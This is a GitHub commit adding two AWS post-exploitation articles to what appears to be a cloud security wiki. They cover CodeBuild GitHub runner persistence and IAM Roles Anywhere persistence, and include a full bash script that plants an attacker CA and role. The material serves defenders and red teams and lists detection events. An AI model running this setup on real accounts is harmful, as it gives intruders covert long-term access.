Skip to content

Commit 961216d

Browse files
authored
Merge pull request #473 from adanalvarez/add-persistence
Add AWS post-exploitation techniques
2 parents 31655e9 + 40a6e6c commit 961216d

4 files changed

Lines changed: 345 additions & 0 deletions

File tree

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
---
2+
author_name: Adan Álvarez
3+
title: AWS CodeBuild GitHub Runner Persistence
4+
description: Abusing the CodeBuild managed GitHub Actions runner integration to obtain long‑term access to an AWS environment.
5+
---
6+
7+
<div class="grid cards" markdown>
8+
9+
- :material-account:{ .lg .middle } __Original Research__
10+
11+
---
12+
13+
<aside style="display:flex">
14+
<p><a href="https://medium.com/@adan.alvarez/gaining-long-term-aws-access-with-codebuild-and-github-873324638784">Gaining Long-Term AWS Access with CodeBuild and GitHub</a> by <a href="https://adan.cloud/">Adan Álvarez</a></p><p><img src="/images/researchers/adan_alvarez.jpg" alt="Adan Alvarez" style="width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset"></img></p>
15+
</aside>
16+
17+
</div>
18+
19+
The [AWS CodeBuild managed GitHub Actions runner](https://aws.amazon.com/es/blogs/devops/aws-codebuild-managed-self-hosted-github-action-runners/) feature can be abused to obtain recurring temporary credentials for an IAM role. By backdooring a role's trust policy to include the CodeBuild service principal, an attacker can trigger GitHub workflows that execute inside the victim account.
20+
21+
## Overview
22+
23+
1. Backdoor an IAM role trust policy to allow `codebuild.amazonaws.com`.
24+
2. Create a CodeBuild Runner project linked to an attacker‑controlled GitHub repository (PAT / OAuth / App).
25+
3. Configure the project to use the backdoored role as its service role.
26+
4. Commit a minimal GitHub Actions workflow that targets the dynamic runner label.
27+
5. Push (or manually trigger) to execute AWS API calls under the role via temporary credentials.
28+
29+
## Step 1: Backdoor Role Trust Policy
30+
31+
Add a statement permitting CodeBuild to assume the role:
32+
33+
```json
34+
{
35+
"Version": "2012-10-17",
36+
"Statement": [
37+
{
38+
"Effect": "Allow",
39+
"Principal": { "Service": "codebuild.amazonaws.com" },
40+
"Action": "sts:AssumeRole"
41+
}
42+
]
43+
}
44+
```
45+
46+
## Step 2: Create Runner Project
47+
48+
Create a CodeBuild project of type Runner and connect it to a private GitHub repo controlled by the attacker.
49+
50+
While CodeBuild projects can be created via API or CLI, connecting a GitHub repository often requires going through the AWS Console. Fortunately for the attacker, it’s relatively easy to move from IAM credentials to a web console session, as described here: [Create a Console Session from IAM Credentials](https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/)
51+
52+
## Step 3: Attach Backdoored Role
53+
54+
In the project settings, under the “Environment” section, the attacker can choose to use an existing service role; this is where they select the backdoored IAM role from Step 1.
55+
56+
There is also a checkbox: “Allow AWS CodeBuild to modify this service role so it can be used with this build project.”
57+
58+
If this box is checked, CodeBuild will automatically add extra permissions to the role (for things like writing logs to CloudWatch or interacting with CodeBuild resources). If the role already has admin-level permissions, the attacker won’t need to enable this.
59+
60+
## Step 4: GitHub Workflow
61+
The final step is to create a GitHub Action workflow that executes commands in the AWS environment using the assumed role.
62+
63+
The workflow can be extremely simple. Here’s an example that will run on every push and call the sts:GetCallerIdentity API:
64+
65+
```yaml
66+
name: persistence
67+
on: [push]
68+
jobs:
69+
access:
70+
runs-on:
71+
- codebuild-MyRunner-${{ github.run_id }}-${{ github.run_attempt }}
72+
steps:
73+
- name: Caller
74+
run: aws sts get-caller-identity
75+
```
76+
77+
!!! Note
78+
Key CloudTrail Events:UpdateAssumeRolePolicy, ImportSourceCredentials, CreateProject, CreateWebhook and ProcessWebhook. Also, Prowler has a check to "Ensure AWS CodeBuild projects using GitHub connect only to allowed organizations"

content/aws/post_exploitation/iam_persistence.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -142,3 +142,23 @@ By maintaining access to an EC2 instance which has a role with the permissions y
142142
- [iam:UpdateAssumeRolePolicy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-assume-role-policy.html)
143143

144144
</div>
145+
146+
## CodeBuild GitHub Runner Persistence
147+
148+
<div class="grid cards" markdown>
149+
- :material-link-box-outline:{ .lg .middle } __Technique Article__
150+
151+
---
152+
153+
- [CodeBuild GitHub Runner Persistence](https://hackingthe.cloud/aws/post_exploitation/codebuild_github_runner_persistence/)
154+
</div>
155+
156+
## IAM Roles Anywhere Persistence
157+
158+
<div class="grid cards" markdown>
159+
- :material-link-box-outline:{ .lg .middle } __Technique Article__
160+
161+
---
162+
163+
- [IAM Roles Anywhere Persistence](https://hackingthe.cloud/aws/post_exploitation/iam_roles_anywhere_persistence/)
164+
</div>
Lines changed: 247 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,247 @@
1+
---
2+
author_name: Adan Álvarez
3+
title: IAM Roles Anywhere Persistence
4+
description: Abusing IAM Roles Anywhere to obtain persistent AWS access from outside the cloud.
5+
---
6+
7+
<div class="grid cards" markdown>
8+
9+
- :material-account:{ .lg .middle } __Original Research__
10+
11+
---
12+
13+
<aside style="display:flex">
14+
<p><a href="https://medium.com/@adan.alvarez/how-attackers-can-abuse-iam-roles-anywhere-for-persistent-aws-access-b3ced6935dca">How Attackers Can Abuse IAM Roles Anywhere for Persistent AWS Access</a> by <a href="https://adan.cloud/">Adan Álvarez</a></p><p><img src="/images/researchers/adan_alvarez.jpg" alt="Adan Alvarez" style="width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset"></img></p>
15+
</aside>
16+
17+
</div>
18+
19+
[IAM Roles Anywhere](https://aws.amazon.com/iam/roles-anywhere/) lets external workloads assume IAM roles using X.509 certificates signed by a registered trust anchor (Certificate Authority). An attacker with sufficient privileges can register a malicious CA, associate it to roles via a profile, and generate on‑demand temporary credentials from outside AWS.
20+
21+
## Overview
22+
23+
1. **Create a Malicious CA and Trust Anchor:** The attacker generates their own CA certificate and private key. They then register this CA as a trust anchor in the victim’s AWS account.
24+
2. **Create or Backdoor an IAM Role:** The attacker either creates a new IAM role or modifies an existing one by updating its trust policy to allow assumptions via the malicious trust anchor.
25+
3. **Create a Profile:** The attacker creates a profile in IAM Roles Anywhere using the CreateProfile API action. The profile specifies which roles can be assumed using the trust anchor.
26+
4. **Obtain Temporary Credentials:** With the trust anchor and profile in place, the attacker uses their malicious CA to sign a client certificate. They then use the aws_signing_helper utility to obtain temporary AWS credentials
27+
28+
## Demonstrating how an attacker could set up IAM Roles Anywhere for persistence easily
29+
30+
The following script automates these steps
31+
32+
```bash
33+
#!/bin/bash
34+
35+
set -e
36+
37+
# Variables
38+
TRUST_ANCHOR_NAME="MyTrustAnchor"
39+
PROFILE_NAME="MyProfile"
40+
ROLE_NAME="RolesAnywhereAssumableRole"
41+
POLICY_NAME="RolesAnywherePolicy"
42+
REGION="us-east-1"
43+
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
44+
CREDENTIALS_FILE="./aws_credentials.conf"
45+
46+
# Function to check if a trust anchor exists
47+
function get_trust_anchor_arn {
48+
aws rolesanywhere list-trust-anchors \
49+
--region $REGION \
50+
--query "trustAnchors[?name=='$TRUST_ANCHOR_NAME'].trustAnchorArn" \
51+
--output text
52+
}
53+
54+
# Function to check if a profile exists
55+
function get_profile_arn {
56+
aws rolesanywhere list-profiles \
57+
--region $REGION \
58+
--query "profiles[?name=='$PROFILE_NAME'].profileArn" \
59+
--output text
60+
}
61+
62+
# Function to check if an IAM role exists
63+
function get_role_arn {
64+
aws iam get-role \
65+
--role-name "$ROLE_NAME" \
66+
--query 'Role.Arn' \
67+
--output text 2>/dev/null || true
68+
}
69+
70+
# Step 1: Generate CA private key and certificate
71+
if [[ -f "ca.key" && -f "ca.crt" ]]; then
72+
echo "CA private key and certificate already exist. Skipping generation."
73+
else
74+
echo "Generating CA private key and certificate with proper basic constraints..."
75+
76+
openssl genrsa -out ca.key 4096
77+
78+
cat > ca.conf <<EOF
79+
[ req ]
80+
default_bits = 4096
81+
default_md = sha256
82+
distinguished_name = req_distinguished_name
83+
x509_extensions = v3_ca
84+
85+
[ req_distinguished_name ]
86+
countryName = US
87+
commonName = MyRootCA
88+
89+
[ v3_ca ]
90+
subjectKeyIdentifier = hash
91+
authorityKeyIdentifier = keyid:always,issuer
92+
basicConstraints = critical,CA:TRUE
93+
keyUsage = critical, digitalSignature, cRLSign, keyCertSign
94+
EOF
95+
96+
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt -config ca.conf -subj "/CN=MyRootCA" -extensions v3_ca
97+
fi
98+
99+
# Step 2: Create a trust anchor with the CA certificate
100+
TRUST_ANCHOR_ARN=$(get_trust_anchor_arn)
101+
if [[ -n "$TRUST_ANCHOR_ARN" ]]; then
102+
echo "Trust Anchor '$TRUST_ANCHOR_NAME' already exists with ARN: $TRUST_ANCHOR_ARN"
103+
else
104+
echo "Creating a trust anchor in IAM Roles Anywhere..."
105+
CA_CERT_BASE64=$(base64 -w 0 ca.crt)
106+
TRUST_ANCHOR_ARN=$(aws rolesanywhere create-trust-anchor \
107+
--name "$TRUST_ANCHOR_NAME" \
108+
--source "sourceData={x509CertificateData=$CA_CERT_BASE64},sourceType=CERTIFICATE_BUNDLE" \
109+
--region $REGION \
110+
--query 'trustAnchor.trustAnchorArn' \
111+
--enabled \
112+
--output text)
113+
echo "Created Trust Anchor with ARN: $TRUST_ANCHOR_ARN"
114+
fi
115+
116+
# Step 3: Create an IAM role with trust policy for Roles Anywhere
117+
ROLE_ARN=$(get_role_arn)
118+
if [[ -n "$ROLE_ARN" ]]; then
119+
echo "IAM Role '$ROLE_NAME' already exists with ARN: $ROLE_ARN"
120+
else
121+
echo "Creating IAM role for Roles Anywhere..."
122+
ROLE_ARN=$(aws iam create-role \
123+
--role-name "$ROLE_NAME" \
124+
--assume-role-policy-document file://<(cat <<EOF
125+
{
126+
"Version": "2012-10-17",
127+
"Statement": [
128+
{
129+
"Effect": "Allow",
130+
"Principal": {
131+
"Service": "rolesanywhere.amazonaws.com"
132+
},
133+
"Action": [
134+
"sts:AssumeRole",
135+
"sts:TagSession",
136+
"sts:SetSourceIdentity"
137+
],
138+
"Condition": {
139+
"ArnEquals": {
140+
"aws:SourceArn": "$TRUST_ANCHOR_ARN"
141+
}
142+
}
143+
}
144+
]
145+
}
146+
EOF
147+
) \
148+
--description "Role assumable by IAM Roles Anywhere via trust anchor" \
149+
--query 'Role.Arn' \
150+
--output text)
151+
echo "Created IAM Role with ARN: $ROLE_ARN"
152+
153+
# Attach a policy to the role
154+
echo "Attaching policy to the role..."
155+
aws iam put-role-policy \
156+
--role-name "$ROLE_NAME" \
157+
--policy-name "$POLICY_NAME" \
158+
--policy-document file://<(cat <<EOF
159+
{
160+
"Version": "2012-10-17",
161+
"Statement": [
162+
{
163+
"Effect": "Allow",
164+
"Action": "sts:GetCallerIdentity",
165+
"Resource": "*"
166+
}
167+
]
168+
}
169+
EOF
170+
)
171+
fi
172+
173+
# Step 4: Create a profile in IAM Roles Anywhere
174+
PROFILE_ARN=$(get_profile_arn)
175+
if [[ -n "$PROFILE_ARN" ]]; then
176+
echo "Profile '$PROFILE_NAME' already exists with ARN: $PROFILE_ARN"
177+
else
178+
echo "Creating a profile in IAM Roles Anywhere..."
179+
PROFILE_ARN=$(aws rolesanywhere create-profile \
180+
--name "$PROFILE_NAME" \
181+
--role-arns "$ROLE_ARN" \
182+
--duration-seconds 3600 \
183+
--enabled \
184+
--region $REGION \
185+
--query 'profile.profileArn' \
186+
--output text)
187+
echo "Created Profile with ARN: $PROFILE_ARN"
188+
fi
189+
190+
# Step 5: Generate client certificate signed by the CA
191+
if [[ -f "client.key" && -f "client.crt" ]]; then
192+
echo "Client certificate and key already exist. Skipping generation."
193+
else
194+
echo "Generating client certificate signed by the CA..."
195+
openssl genrsa -out client.key 4096
196+
197+
cat > client.conf <<EOF
198+
[ req ]
199+
default_bits = 2048
200+
default_md = sha256
201+
distinguished_name = req_distinguished_name
202+
req_extensions = v3_req
203+
204+
[ req_distinguished_name ]
205+
countryName = US
206+
commonName = sample-user
207+
208+
[ v3_req ]
209+
keyUsage = digitalSignature
210+
extendedKeyUsage = clientAuth
211+
basicConstraints = critical,CA:FALSE
212+
EOF
213+
214+
openssl req -new -key client.key -out client.csr -config client.conf -subj "/CN=sample-user"
215+
216+
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.crt -days 3650 -extensions v3_req -extfile client.conf
217+
fi
218+
219+
# Check if aws_signing_helper is available
220+
if ! command -v ./aws_signing_helper &> /dev/null
221+
then
222+
echo "aws_signing_helper not found. Please ensure AWS CLI v2 is installed."
223+
exit 1
224+
fi
225+
226+
# Create AWS CLI credentials file with credential_process
227+
cat > $CREDENTIALS_FILE <<EOF
228+
[default]
229+
credential_process = ./aws_signing_helper credential-process \
230+
--certificate client.crt \
231+
--private-key client.key \
232+
--trust-anchor-arn $TRUST_ANCHOR_ARN \
233+
--profile-arn $PROFILE_ARN \
234+
--role-arn $ROLE_ARN \
235+
--region $REGION
236+
EOF
237+
238+
echo "----"
239+
echo "You can now assume $ROLE_ARN, just execute this:"
240+
echo ""
241+
echo "export AWS_SHARED_CREDENTIALS_FILE=$CREDENTIALS_FILE"
242+
echo "aws sts get-caller-identity --region $REGION"
243+
```
244+
245+
## Simulate the events with Stratus Red Team
246+
247+
You can simulate this technique with Stratus Red Team: https://stratus-red-team.cloud/attack-techniques/AWS/aws.persistence.rolesanywhere-create-trust-anchor/
227 KB
Loading

0 commit comments

Comments
 (0)